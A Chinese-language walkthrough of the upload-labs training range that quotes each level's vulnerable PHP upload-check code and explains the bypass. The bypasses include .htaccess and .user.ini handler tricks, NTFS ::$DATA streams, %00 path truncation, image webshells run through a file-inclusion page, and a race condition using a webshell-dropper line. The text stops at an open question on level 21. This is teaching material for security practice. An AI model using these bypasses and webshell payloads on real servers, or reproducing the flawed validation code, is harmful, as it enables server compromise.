针对于前端检测而言,最有效的办法就是禁用网页的javaScript,这个禁用是针对全部的JS代码,所以有时候会影响一些功能导致无法使用,不过可以先试试;

这道题可以用上述方式解决;

P02

判断为后端执行检测;

这道题可以改content-type就可以绕过了:
content

P03

这道题提示上传php后为:不允许上传.asp,.aspx,.php,.jsp后缀文件!

这是文件黑名单,而目前大多数网址使用的文件上传服务都是白名单机制,而且非常严格;

后端php判断如下,这个判断一般是写在apache服务里的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

其实它的过滤不完全,后缀只过滤掉了4个基础解析后缀,还有php3这种也能被解析成php文件的特殊文件后缀,俗称后缀绕过;

这道题如果是小皮环境,需要添加apache的httpd-conf内的php解析:

1
AddType application/x-httpd-php .php .php3 .php5 .phtml

还需要切换php版本为ts;

实在懒可以用BUUCTF的 (

P04

用之前的方法,会提示:此文件不允许上传!

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

和P03一样的检测,只不过堵死了大部分后缀,而黑名单里的话,其中有两个后缀很有意思,一个是htaccess,一个是ini,这道题没有禁前者;

.htaccess

是一个服务器分布式配置文件,每个网址根目录都会有;

但相对于httpd.conf而言,httpd.conf是作用于全局,是apache的主要配置文件,影响整个服务器;

而.htaccess文件作用范围是局部的,常位于根目录和特定目录,只影响其所在的对应目录;

使用方法:.htaccess文件修改后即时生效,而Httpd.conf一般需要管理员级权限才能进行修改,修改需要重启apache服务器才能应用;

本题可以先上传一个.htaccess文件,里面配置这么一句话:

1
2
3
<FilesMatch "Hack">                      
SetHandler application/x-httpd-php
</FilesMatch>

检测名字叫Hack的文件以php形式解析;

或者

1
AddType application/x-httpd-php .jpg .txt

意思是使jpg和txt后缀按照php文件的内容进行解析执行;

那么在这个上传目录内,传入的jpg和txt便会按照php执行了(要求服务端开启.htaccess功能 httpd.conf 所有override改为 all);

一般而言,直接改一句话木马的后缀为jpg,服务端很可能检测图片内容是否合法,所以可以使用命令合并一句话木马和一张图片来达成目的:

1
copy muma.php+tupian.jpg/b new.jpg

P05

前置知识

下面两个文件的关系和httpd.conf与.htaccess的关系类似,httpd.conf与.htaccess针对于apache服务器而言是有的;

而下面两个文件针对于php而言;

.user.ini

特定于用户和特定目录的配置文件,常常位于web应用程序的根目录下,用于覆盖或追加全局配置文件(php.ini)中的php配置选项;

作用范围:相对目录及其子目录;

生效:修改即生效;

注意,此文件生效前提是php版本大于5.3.0,最好是7的版本,且Server API为 CGI/FastCGI

php.ini

存储对整个php环境生效的配置选项,常位于php安装目录中;

作用范围:所有运行在该php环境中的php请求;

生效方式:重启php或者服务器;

此关为.user.ini上传漏洞,利用前置要求:**.user.ini生效,且上传目录已存在php文件**;

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

一样的过滤方式,但没过滤.user.ini;

绕过写法:

1
Auto-prepend-file = file.txt 

这个txt文件里只有php代码,当ini被加载后,这句话会使得这个目录下所有php文件自动包含这个file.txt里的内容,再执行;

包含进去的代码被贴到已有php文件之后;

点加空格加点绕过

此题的另类绕过方法;

Windows会将后缀名之后的.与空格自动删除;

这道题的绕过过程为:

  • 获取文件名
  • 删除文件末尾的点
  • 以点分割为一个后缀名
  • 将后缀名转为小写
  • 对后缀名去多余空格
  • 判断

当文件为file.php时,第三步获取到的文件后缀是.php,第一步获取的文件名为file.php;

但当文件为file.php. .时,第三步获取到的文件后缀是. ,第一步获取到的文件名为file.php. ;

所以可以绕过判断,并在上传后自动修正文件名为file.php;

P06

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

无法使用之前的两种绕过,但是它没判断大写,所以这道题可以大写绕过;

大写绕过

将后缀改为Php,PHP都可,只要不被匹配到;

P07

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这道题和之前的过滤并没有把首尾去空,可以利用空格绕过;

空格绕过

在匹配的时候,后缀字符串后面有一个空格不会被匹配到,但是传上去之后Windows会自动删除末尾的空格;

P08

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这道题并没有删除末尾点这一步;

加点绕过

如之前所说,在windows上后缀名之后的点和空格都会被删的原理;

P09

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这次它的过滤比起之前的少了去除字符串::$DATA,那么这个东西是如何利用的呢?

额外数据流

windows操作系统中,文件名后面跟着::$DATA,表示一个文件附加数据流,数据流是一种用于在文件内部存储额外数据的机制;

正常情况下,文件只有一个默认数据流,通过文件名访问,但同时Windows NT文件系统支持在文件内部创建额外的数据流,存储其他信息用;

这些额外的数据流通过在文件后面添加::$DATA来访问;

写入方法:

利用重定向实现写入额外数据流;

1
2
echo "deadbeaf" >> file.png:Hack
type file.php >> file.png:Hack

上述后面的语句表示file.png文件的一个叫做Hack的额外数据流;

echo是将内容写入,type是将一个文件的内容写入;

查看方法:

1
notepad file.png:Hack

此时会用记事本打开额外数据流的内容并显示;

::$DATA绕过

在php中,不会验证数据流后缀,如数据流名字为a.php,它只是一个数据流而不是一个文件,所以不会验证.php;

在上面也说了,一个文件后面跟着::$DATA就是一个数据流;

而windows中,文件名不允许冒号的存在,所以在上传时,改名文件后面跟着::$DATA,让检验部分认为这上传的是一个数据流而不是文件,从而绕过检测,在到达上传文件夹后,因windows的文件命名规则,将会删除冒号后面的东西变回文件,这就是绕过过程;

P10

与P05的另类绕过方式一样;

P11

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这道题并不是用的in_array函数,而是str_ireplace函数,有什么区别呢?

前者会使用正则匹配整句话,而后者不去匹配整句,只会找这串字符(php)然后消除,即便后面加点加空格也会被消除,大写同理;

看起来不好绕了,因为特殊写法失效了,但其实这道题是最好绕的,sql注入里学的最有意思的便是双写绕过了;

因为只判断一次,所以直接后缀起名 pphphp ,匹配中中间的php使之剔除,留下php绕过;

P12

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

这道题与之前不同的是,使用了白名单机制;

可以知道php文件上传时,文件先是放于临时路径,之后转移到实际文件内,路径上的才是实际上的文件,之前改的文件名及其后缀只是包头内的一个字符串字段;

这道题的路径是可以被控制的,因为可以用Get传参;

此时可以用空字符截断,本身是Get部分加上后面的文件名和后缀内容组成一个文件路径,但可以在get部分直接写上一个完整文件路径,然后用空字符截断后面连接的部分达成绕过jpg的同时上传的文件类型是php;

在上传时,只需要设置参数即可成功:

1
?save_path=../upload/file.php%00

P13

这道题和P12类似,get请求变为post请求,所以在后面添加0x00的hex编码即可;

P14

图片字节标识

魔术码

JPEG/JFIF 0xFF 0xD8

PNG 0x89 0x50

GIF 0x47 0x49

BMP 0x42 0x4D

TIFF 可变动,但也是前两个字节;

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

这道题在检测上传文件的标识符,也就是前两个字节;

那么绕过思路则是在写好的一句话木马前面添加标识符进行绕过;

但这样还不够,服务器会把它按照图片解析,需要利用 文件包含漏洞 运行图片🐎中的木马;

文件包含前瞻

php设计之初为了使资源利用率更高效,设计了include这么一个东西;

当一个文件要引用一个另文件时,include进来就能直接使得这个文件调用一次;

当操控者可以控制include后面跟着的文件路径时,漏洞就发生了,因为在包含之后的文件会以php解析的形式执行,当图片内有php木马时,include就导致了木马的执行;

在upload文件夹的上层,靶场自带了一个include.php文件,用来形成文件包含漏洞的:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
/* 本页面存在文件包含漏洞,用于测试图片马是否能正常运行! */
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file))
{
include $file;
}
else
{
show_source(__file__);
}
?>

那么此时上传之后,使用该漏洞便可成功绕过:

1
127.0.0.1/upload-labs-master/include.php?file=./upload/file.png

P15

这道题相对于P14对图片检测要求更严格,会检测上传图片的大小,此时就需要用到在P04说到的方法,copy图片和木马成为一个图片🐎;

之后利用文件包含漏洞绕过;

(实际上可以用010eiditor把木马以十六进制格式附加到图片末尾)

P16

同P15一样;

P17

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

这道题很明显针对了图片马,在上传之后将图片进行重写,也就是二次渲染;

如何判断图片被二次渲染?当使用P15,P16的方法不起作用时,上传图片另存为下载下来查看是否木马语句还存在即可判断;

如何绕过?要知道,二次渲染只是将图片的原始内容保存,其他内容进行重写,那么要找到原始的内容,也就是没改写部分的内容,进行对木马的插入即可;找寻重写部分只需要使用010进行diff比较即可;

理论来说GIF更容易,而修改PNG文件不能直接插入;

P18

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

看起来和P12的源码很像,只不过PATH部分拼接由原来的GET传参变成了UPLOAD_PATH这么个东西,这说明没办法控制上传路径,就无法利用空字符截取了;

并且它是先move再in array,这和之前的顺序也有区别,这说明它是先将文件放到服务器的文件夹上,再去做后缀判断;

文件上传条件竞争

前提:文件先到服务器上,再做判断;

本质:抢夺线程的资源,使得上传的木马文件可以快速访问运行一次(上传之后,判断之前);

实际方式:一直上传,一直访问,在线程没反应过来的时候给与木马命令的执行;

总结:一个可执行php在目标文件夹一闪而逝即可利用;

但由于不可能只依靠这条一句话木马进行不可靠的信息传输,所以在需要这么访问的文件里,写入执行生成小马的语句,在它的上传文件目录中生成一个一直存在的一句话木马文件即可:

1
<?php fputs(fopen('shell.php','w'),'<?一句话木马?>' ); ?>

若有检测标识符,可以用base64编码绕过;

如何实现一直上传?一直访问?使用bp的测试器模块进行持续重放攻击,抓取上传php的包以及一直访问的包;

try

真是太裤辣!

P19

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

对于上传文件的代码审计:

先判断路径

再设置路径

再检查后缀以及文件大小

之后移动文件到服务器上

再进行随机重命名;

此时文件还没移动到服务器上就已经判断并删掉了,但是在白名单里面比之前多出来了一些压缩文件的后缀,不只是图片后缀了;

apache解析漏洞

对于apache服务器来说,访问一个服务器并不能解析的文件,它会对文件整体名字向前进行搜索,找到一个可以解析的后缀来执行;

例如一个文件叫做: file.php.7z ;

当用浏览器访问这个文件的时候,apache无法解析7z,就会把它当作一个php文件来执行;

而这道题虽然上传是在文件判断之后,但是7z后缀是可以上传上去的,只是之后会对其重命名,重命名变为xxx.7z,服务器不知道怎么解析,会用记事本打开;

赶在重命名之前对原文件进行访问,可以达到执行php的目的,实现针对于apache解析漏洞的条件竞争;

P20

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

又成黑名单绕过了;

可以自己取名文件名,判断用的是自己取的;

不多说了,大写就能绕过;

做个简单的总结吧;

黑名单绕过总结

黑名单一般考虑从后缀绕过下手,考虑特殊写法诸如php3一类的;

之后的一系列,.htaccess,.user.ini,::$DATA,正则匹配绕过;

白名单总结

这就要看条件了,如果能控制文件上传的路径,可以考虑空字符截断的后缀绕过;

如果能利用文件包含,可以考虑隐藏木马于可利用的文件上;

如果可执行文件在服务端能够一闪而逝,可以考虑使用条件竞争手段;

两类文件上传绕过都应该考虑对文件原始内容的检测,如检测关键字php,检测图片大小,二次渲染,做好正则绕过;

更多的,针对于以上这些漏洞,前提一定是php和apache的版本对应,版本不对,漏洞也就不复存在了;

P21

这道题按成一道审计题来做;

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

逻辑:判断content-type,之后判断文件后缀,使用白名单机制,无法利用条件竞争和图片马,所以这道题绝对是后缀绕过;

只是这是白名单,如何实现后缀绕过呢?

